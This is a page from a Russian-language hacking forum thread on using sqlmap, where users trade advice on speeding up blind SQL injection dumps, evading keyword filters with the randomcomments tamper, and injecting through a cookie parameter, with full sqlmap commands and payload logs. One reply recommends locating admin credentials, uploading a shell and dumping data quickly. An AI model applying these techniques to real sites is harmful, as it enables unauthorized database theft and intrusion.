FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Вопросы по SQLMap

Страница 56 из 115

« Первая

106

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

12.12.2017, 14:51

Alexandr17

Guest

Сообщений: n/a

Провел на форуме:
28808

Репутация: 0

Цитата:

Сообщение от Jenny_victor

Jenny_victor said:
↑
Здравствуйте! Подскажите пожалуйста, возможно ли как то ускорить скорость дампа, нахождения дб, колонок при слепой инъекции ?

Тут зависит многое от скорости интернета. Возможно через прокси, vpn работаешь. Либо через виртуалку. Из-за этого скорость падает

12.12.2017, 16:19

grimnir

Guest

Сообщений: n/a

Провел на форуме:
216062

Репутация: 231

Цитата:

Сообщение от Jenny_victor

Если Boolean-Blind то потоки увеличить,как выше написали --threads=10 выше не нужно

Если Time-Blind и сайт может работать по HTTP а не HTTPS то можно попробовать раскрутить в старой программе Havij та умеет крутить таймблайнд сразу по всем потокам, а не по 1 символу как SQLMAP

Ну а в идеале конечно нужно искать данные именно админа ,заливаться и уже быстро что нужно сливать, если такая необходимость. Поиск нужных данных в sqlmap --search -T adm --search -C pas ну и т.д

13.12.2017, 21:37

Jenny_victor

Guest

Сообщений: n/a

Провел на форуме:
615

Репутация: 0

Цитата:

Сообщение от Alexandr17

Alexandr17 said:
↑
Тут зависит многое от скорости интернета. Возможно через прокси, vpn работаешь. Либо через виртуалку. Из-за этого скорость падает

С интернетом все окей, остальное, что не Blind Sql Injection льется нормально.

Цитата:

Сообщение от grimnir

grimnir said:
↑
Если Boolean-Blind то потоки увеличить,как выше написали --threads=10 выше не нужно
Если Time-Blind и сайт может работать по HTTP а не HTTPS то можно попробовать раскрутить в старой программе Havij та умеет крутить таймблайнд сразу по всем потокам, а не по 1 символу как SQLMAP
Ну а в идеале конечно нужно искать данные именно админа ,заливаться и уже быстро что нужно сливать, если такая необходимость. Поиск нужных данных в sqlmap --search -T adm --search -C pas ну и т.д

Поиск нужных данных не пригождался, так как все таблицы и колонки находились исправно, но долго

Boolean-Blind судя по всему вообще не попадались, прибавление потоков ничего не изменило и слив в 10+ окон тоже, а в некоторых случаях дамп крашился

Попробовал как вы сказали раскрутить в Havij, вроде некоторые сайты получилось, но DB так и не нашло, поле осталось пустым..некоторые и вовсе не удалось

.SpoilerTarget" type="button">Spoiler: Может эти строки что то подскажут
[22:52:15] [ERROR] invalid character detected. retrying..

==================================================

[17:20:28] [ERROR] invalid character detected. retrying..

[17:20:28] [WARNING] increasing time delay to 3 seconds

[17:20:45] [ERROR] invalid character detected. retrying..

[17:20:45] [WARNING] increasing time delay to 4 seconds

[17:21:07] [ERROR] invalid character detected. retrying..

[17:21:07] [WARNING] increasing time delay to 5 seconds

[17:21:33] [ERROR] invalid character detected. retrying..

[17:21:33] [WARNING] increasing time delay to 6 seconds

[17:22:01] [ERROR] invalid character detected. retrying..

[17:22:01] [WARNING] increasing time delay to 7 seconds

[17:22:41] [ERROR] unable to properly validate last character value ('v')..

v

================================================== ==

[15:00:08] [WARNING] turning off pre-connect mechanism because of connection time out(s)

================================================== ==

[08:21:27] [INFO] resuming partial value: 0

[08:21:27] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)

[08:24:10] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)

================================================== ==

15.12.2017, 17:16

blackbox

Guest

Сообщений: n/a

Провел на форуме:
137056

Репутация: 11

Извините за глупый вопрос, но как называется темпер, который ключевые слова разделяет комментариями, типа SELECT - S/**/EL/**/EC/**/T и так далее, чтобы обойти харкдоженую проверку таких слов (движок их ищет в параметрах и отбрасывает). Спасибо.

15.12.2017, 17:27

t0ma5

Guest

Сообщений: n/a

Провел на форуме:
300820

Репутация: 90

Цитата:

Сообщение от blackbox

blackbox said:
↑
Извините за глупый вопрос, но как называется темпер, который ключевые слова разделяет комментариями, типа SELECT - S/**/EL/**/EC/**/T и так далее, чтобы обойти харкдоженую проверку таких слов (движок их ищет в параметрах и отбрасывает). Спасибо.

такой запрос в оригинале не должен работать

Код:

Code:
> sel/**/ect 1;
ERROR 1064 (42000): You have an error in your SQL syntax;..

поиск по тамперам можно сделать так

Код:

Code:
sqlmapproject/tamper$ grep -rn '/\*\*/' .
./randomcomments.py:23:    'I/**/N/**/SERT'
./randomcomments.py:39:                    _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])
./randomcomments.py:43:                if "/**/" not in _:
./randomcomments.py:45:                    _ = word[:index] + "/**/" + word[index:]
./informationschemacomment.py:19:    'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
./informationschemacomment.py:25:        retVal = re.sub(r"(?i)(information_schema)\.", "\g/**/.", payload)
./space2comment.py:18:    Replaces space character (' ') with comments '/**/'
./space2comment.py:30:    'SELECT/**/id/**/FROM/**/users'
./space2comment.py:43:                    retVal += "/**/"
./space2comment.py:53:                retVal += "/**/"

хм есть тампер randomcomments, кажется тот случай

20.12.2017, 03:44

ShpillyWilly

Guest

Сообщений: n/a

Провел на форуме:
27718

Репутация: 0

Товарищи, подскажите пожалуйста...Берп нашел скулю(говорит, что Firm) в пост запросе, но не в параметрах, а в куках, отправляю запрос в SQLMapper, пытаюсь указать параметр руками через -p, но он даже не пробует его исследовать, шарить только по пост параметрам, в куки не лезет. Склмап вообще умеет такое? Спасибо

Код:

Code:
sqlmap -u 'http://domen/subscribe' --data='csrf_token=dd5ebc24c145e0d76f5a03c0bda6fd13&email=' --risk=3 -p '__sonar' --dbs --identify-waf --cookie='csrf_cookie=dd5ebc24c145e0d76f5a03c0bda6fd13;PHPSESSID=lctkgerquk3cq59kdatu63v8g2;subscribe_banner_3=closed;notification_reviews=1513720576;notification_not_visited=1513720576;_ga=GA1.2.541204179.1513699936;_gid=GA1.2.57135273.1513699936;__sonar=8822121954744852321;_ym_uid=1513699939609371721;_ym_isad=2;d=45420;_gat=1;WhiteCallback_visitorId=575190449'

20.12.2017, 14:04

t0ma5

Guest

Сообщений: n/a

Провел на форуме:
300820

Репутация: 90

Цитата:

Сообщение от ShpillyWilly

ShpillyWilly said:
↑
Товарищи, подскажите пожалуйста...Берп нашел скулю(говорит, что
Firm
) в пост запросе, но не в параметрах, а в куках, отправляю запрос в SQLMapper, пытаюсь указать параметр руками через -p, но он даже не пробует его исследовать, шарить только по пост параметрам, в куки не лезет. Склмап вообще умеет такое? Спасибо

да умеет, выстави --level 3 и -v 3

20.12.2017, 16:59

grimnir

Guest

Сообщений: n/a

Провел на форуме:
216062

Репутация: 231

Цитата:

Сообщение от ShpillyWilly

Код:

Code:
sqlmap -u 'http://domen/subscribe' --data='csrf_token=dd5ebc24c145e0d76f5a03c0bda6fd13&email=' --risk=3 -p '__sonar' --dbs --identify-waf --cookie='csrf_cookie=dd5ebc24c145e0d76f5a03c0bda6fd13;PHPSESSID=lctkgerquk3cq59kdatu63v8g2;subscribe_banner_3=closed;notification_reviews=1513720576;notification_not_visited=1513720576;_ga=GA1.2.541204179.1513699936;_gid=GA1.2.57135273.1513699936;__sonar=8822121954744852321;_ym_uid=1513699939609371721;_ym_isad=2;d=45420;_gat=1;WhiteCallback_visitorId=575190449'

лучше полный запрос сохранять в name.txt с указанием __sonar=1*и раскручивать дальше -r "name.txt" пробовать разные варианты merge cookie Y/n

20.12.2017, 17:11

t0ma5

Guest

Сообщений: n/a

Провел на форуме:
300820

Репутация: 90

в принципе так тоже крутит

Код:

Code:
$ python sqlmap.py -u 'https://google.com' --data='csrf_token=dd5ebc24c145e0d76f5a03c0bda6fd13&email=' --risk=3 -p '__sonar' --dbs --identify-waf --cookie='csrf_cookie=dd5ebc24c145e0d76f5a03c0bda6fd13;PHPSESSID=lctkgerquk3cq59kdatu63v8g2;subscribe_banner_3=closed;notification_reviews=1513720576;notification_not_visited=1513720576;_ga=GA1.2.541204179.1513699936;_gid=GA1.2.57135273.1513699936;__sonar=8822121954744852321;_ym_uid=1513699939609371721;_ym_isad=2;d=45420;_gat=1;WhiteCallback_visitorId=575190449' --level 3 -v 3
.......
[16:10:01] [WARNING] heuristic (basic) test shows that Cookie parameter '__sonar' might not be injectable
[16:10:01] [PAYLOAD] 8822121954744852321'fOshsSZTLwWJ
[16:10:01] [DEBUG] got HTTP error code: 405 (Method Not Allowed)
[16:10:01] [INFO] testing for SQL injection on Cookie parameter '__sonar'
[16:10:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:10:01] [PAYLOAD] 8822121954744852321) AND 7339=3997-- JmzL
[16:10:01] [DEBUG] got HTTP error code: 405 (Method Not Allowed)
[16:10:01] [PAYLOAD] 8822121954744852321) AND 3724=3724-- YcXU
[16:10:01] [DEBUG] got HTTP error code: 405 (Method Not Allowed)

#10

20.12.2017, 17:25

ShpillyWilly

Guest

Сообщений: n/a

Провел на форуме:
27718

Репутация: 0

всем, спасибо, буду пробовать, там еще сложность в том, что есть редирект и возникает еще 500 вариантов, мерджить куки или не мерджить, редиректиться или нет и тд.

Страница 56 из 115

« Первая

106

Последняя »

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

ANTICHAT.XYZ